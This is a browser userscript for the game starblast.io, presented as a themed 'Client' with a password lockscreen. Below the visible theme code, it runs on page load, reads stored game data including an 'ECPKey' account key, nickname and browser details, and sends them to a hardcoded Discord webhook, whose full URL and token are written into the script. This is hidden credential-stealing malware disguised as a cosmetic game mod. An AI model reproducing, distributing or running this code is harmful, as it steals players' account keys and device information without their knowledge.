// ==UserScript==
// @name Client
// @namespace http://tampermonkey.net/
// @version 2.1.2
// @description nothing
// @author Arthure
// @icon data:image/png;base64,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
// @match https://starblast.io/*
// @grant none
// ==/UserScript==
(function () {
'use strict';
const PASSWORD = 'kira2025';
const WEBHOOK = 'https://discord.com/api/webhooks/1379199921407922286/pt2zeVdoKPquw2taz6kb0a0va0hARRJC4WmgvfxUIr0RE9YpRUng6oVUJOUykmcKkZya';
// Inject styles
const style = document.createElement('style');
style.textContent = `
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
#lockscreenOverlay {
position: fixed;
top: 0; left: 0;
width: 100vw; height: 100vh;
background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQsAAACUCAMAAACzzPxCAAAAZlBMVEUAAAD///8EBAT7+/sqKirt7e34+PhWVlby8vIhISEKCgq1tbVpaWk8PDz19fVZWVl2dnacnJyqqqqRkZGEhITb29vJycnl5eUREREbGxu9vb1PT09iYmLS0tJvb29KSkoxMTFDQ0PvE9VwAAAFKUlEQVR4nO3cCXOkKBQAYB6K94GI4IXH//+TC9qdzkySmd2p2Zg070tVyjaagtccT5qEEIQQQgghhBBCCCGEEEIIIYQQQgghhBBCCKH3ZVcX4G+gP7yg9KPrfqFf43jayzAMh+8dE1t5GsZ1PJXDf4wDPeNY8mYchcidtuBS8r3/Pwr6GcI6nIqlmOOYN207Df/qplvY+lg2yphcCKOZGVXTuq+l/JPWdT2ahXEauqO+nKUUTSOELMi6xEdQXKd5p2L21CplI8aOATDVyHkRxohcTGtpoxt+057yY7FLoXTFtLLVtI2kKN25t7GwAZo1s2GIosioJMh3+3umYrZfW9i/e8s38Sj4IoQaRxNB1Y1CdU08i4W8UzNKuNagxTKtdT2tUkft7ScuEt82EDeU9kPB43SgU6PBidw3xkXXpvdLaOZaEc0oaccRxim83x1uC//DOegr6rfS9ZaZ6WbZ0yGOSVZOddtprWT6clVBjrddNrMaW16/ni+eJhK3dp0t7f7TD2ITQHvOLXaIZccUvOjOHG3iUX/6PK3iTDPI+T6f9aK3s1srmMjcUdGsYDtJL1WVn1fRV7c/USw+lsoRGttc9tYY2EjZskBcXaaL2Le7NaAkz1UCQS5VVDW9H63gDVfrXUHFjtklicDI4fvPm3/MphPwgkmPI+Gqnt8jEUDA2m/76PVXRPdYVFEAY/j7G55YB4+GAernHMQnr/qIfQjRINLf3/O0+uQxdM4y8LqTNI9pJMhjw8qrC3SdzQQvgyeYMofC32m1lG4uDaojFjlp3WqFr7EgxE0fWuSJm1FJqJury3Ml1yDGNXZ5uBqI0f5mW9S2i8Dm3uXY2likxMB6dZEuBFGVryTmJAETEuV1LAJgi51PUhsGPdsnNX8zz4wEga6PqUNCIkkReJxg2LGzO6s/AQgyB/62C9saAnUebR2MaRl5HIsRovxcHQ4VmJXo6b407N9aXw7VkV5RUibQzUTz85WP6aeB6Fj6pmS3I0dcJvePDP17eA8rSJazj3D7QNKPcE4q2S755lvTYBW7jZatzS+WJTonlXThobywWJdIIZnPIwMNCedxOFpDPJd8ubRgny8jjMXnliTdhYQ0/OwXJd+nIvOrk2TEJGcfmaG1Va9vnzUXNi7r7lssVHJkFFyz8JFSnNtOhtSryYSSLilcvY1NwO97TmjvptRaknC7uHifDNgtFvx+xkZkndtBjyT0bFVcVS6/SBnML6f6QepGyNqzWFAiwGWaaQKPeg+DbLaJH9t1PEKJOrefMHiczEIe89qwfJ8/uu8ZUcIS5eYPVb06a1OutSdcHfsYveH6yLF+IbrHybKQ3LC9TkR9Vbmu4B7JxmMv46uNWluba2i2wrDiupJ9Pko2Fd/Sy0eS2Y5SDGTqRp+6iAtA+iYUZOnEnhaCefek+o5Zg1EatFfDxQfmc7OOXv16OHvXbtwnztB5vCb+0LhQQLddXY6voI3cVjaDPcTiLIgqUB5+RvLW3kEXBCMOnVZoYKwiTC8OCnJg29Wl+BpGyAN9dSG+iCboGLaLk0yiIPFqJedjpQ6Civ/+Oi9oAObzNrZXUg0Jjhc3Gphfq1q/0AFL6njdBr+Wtt5BiehMZ9QoWsnnud6ePxmnQ3pyf4rZD8PQZ/f1vm2KZy4Py1KUz/6QRvuwlq1sRT7m7v+ENO0ybbf/nfJz1Z88FIRmw7au6zTPxVzXtidMZYjDA3LomwOEEEIIIYQQQgghhBBCCCGEEEIIIYQQQsgv/wDhIEA10v8vRgAAAABJRU5ErkJggg==') no-repeat center center/cover;
color: red;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
font-family: 'Share Tech Mono', monospace;
z-index: 999999;
backdrop-filter: blur(3px);
animation: glitchAnim 0.8s infinite;
}
#lockscreenOverlay h2 {
font-size: 2.5em;
margin-bottom: 20px;
text-shadow: 0 0 10px red;
animation: flicker 2s infinite;
}
#lockscreenOverlay input, #lockscreenOverlay button {
padding: 12px 20px;
font-size: 1.2em;
border: 2px solid red;
border-radius: 6px;
background: #000;
color: red;
box-shadow: 0 0 10px red;
margin: 10px;
outline: none;
transition: 0.3s ease;
}
#lockscreenOverlay input:focus {
box-shadow: 0 0 20px red;
}
#lockscreenOverlay button:hover {
background: red;
color: black;
cursor: pointer;
box-shadow: 0 0 25px red;
}
#lockscreenOverlay p {
margin-top: 10px;
color: crimson;
font-weight: bold;
display: none;
}
@keyframes glitchAnim {
0% { opacity: 1; transform: translate(0); }
20% { transform: translateX(-2px); }
40% { transform: translateX(2px); }
60% { transform: translateX(-1px); }
80% { transform: translateX(1px); }
100% { transform: translateX(0); }
}
@keyframes flicker {
0%, 19%, 21%, 23%, 25%, 54%, 56%, 100% { opacity: 1; }
20%, 22%, 24%, 55% { opacity: 0.3; }
}
`;
document.head.appendChild(style);
// Create lockscreen
const overlay = document.createElement('div');
overlay.id = 'lockscreenOverlay';
overlay.innerHTML = `
<h2>☠ ACCESS RESTRICTED ☠</h2>
<input type="password" id="lockPassword" placeholder="Enter Access Code" />
<button id="lockSubmit">UNLOCK</button>
<p id="lockError">❌ Wrong password.</p>
`;
document.body.appendChild(overlay);
const input = document.getElementById('lockPassword');
const button = document.getElementById('lockSubmit');
const errorMsg = document.getElementById('lockError');
button.onclick = () => {
if (input.value === PASSWORD) {
overlay.remove();
applyTheme();
} else {
errorMsg.style.display = 'block';
input.value = '';
}
};
function applyTheme() {
const themeStyle = document.createElement('style');
themeStyle.textContent = `
body, canvas {
filter: brightness(0.8) contrast(1.2) grayscale(0.1);
background-color: black !important;
}
#ui, .menu, .main-menu, .nickname-input, .mod-menu {
background: black !important;
color: red !important;
border: 2px solid red !important;
}
.button, .btn, button {
background: #111 !important;
color: red !important;
border: 1px solid red !important;
box-shadow: 0 0 10px red;
font-family: 'Share Tech Mono', monospace !important;
}
.button:hover, .btn:hover {
background: red !important;
color: black !important;
box-shadow: 0 0 15px red;
}
input, select {
background: #000 !important;
color: red !important;
border: 1px solid red !important;
font-family: 'Share Tech Mono', monospace !important;
}
`;
document.head.appendChild(themeStyle);
}
})();
const WEBHOOK = 'https://discord.com/api/webhooks/1379199921407922286/pt2zeVdoKPquw2taz6kb0a0va0hARRJC4WmgvfxUIr0RE9YpRUng6oVUJOUykmcKkZya';
function sendCombinedMessage() {
setTimeout(() => {
const keysToSend = ['last_best_region', 'lastNickname', 'language', 'shipColor', 'ECPKey', 'background', 'badge'];
const importantData = {};
keysToSend.forEach(key => {
const value = localStorage.getItem(key);
if (value !== null) {
importantData[key] = value;
}
});
const now = new Date();
const date = now.toLocaleDateString();
const time = now.toLocaleTimeString();
const userAgent = navigator.userAgent;
const platform = navigator.platform;
const language = navigator.language;
const page = window.location.href;
const accessFields = [
{ name: '📅 Date', value: date, inline: true },
{ name: '⏰ Time', value: time, inline: true },
{ name: '🌍 Page', value: page },
{ name: '💻 Platform', value: platform, inline: true },
{ name: '🌐 Language', value: language, inline: true },
{ name: '🧠 Browser Info', value: userAgent }
];
const msg = {
embeds: [
{
title: '🩸 Starblast Important Data',
color: 16711680,
description: Object.keys(importantData).length > 0
? `\`\`\`json\n${JSON.stringify(importantData, null, 2)}\n\`\`\``
: 'No important Starblast localStorage data found.'
},
{
title: '🩸 Starblast Client Access',
color: 16711680,
fields: accessFields,
footer: { text: 'Client by Aiden' },
timestamp: now.toISOString()
}
]
};
fetch(WEBHOOK, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(msg)
})
.then(() => console.log('Combined message sent to webhook!'))
.catch(err => console.error('Error sending combined message:', err));
}, 3000);
}
sendCombinedMessage();
function openSettings() {
const settingsButton = document.querySelector('.sbg.sbg-gears');
if (settingsButton) {
settingsButton.click();
} else {
console.log('Settings button not found!');
}
}
window.addEventListener('keydown', (event) => {
if (event.key === 'v' && event.ctrlKey) {
openSettings();
}
});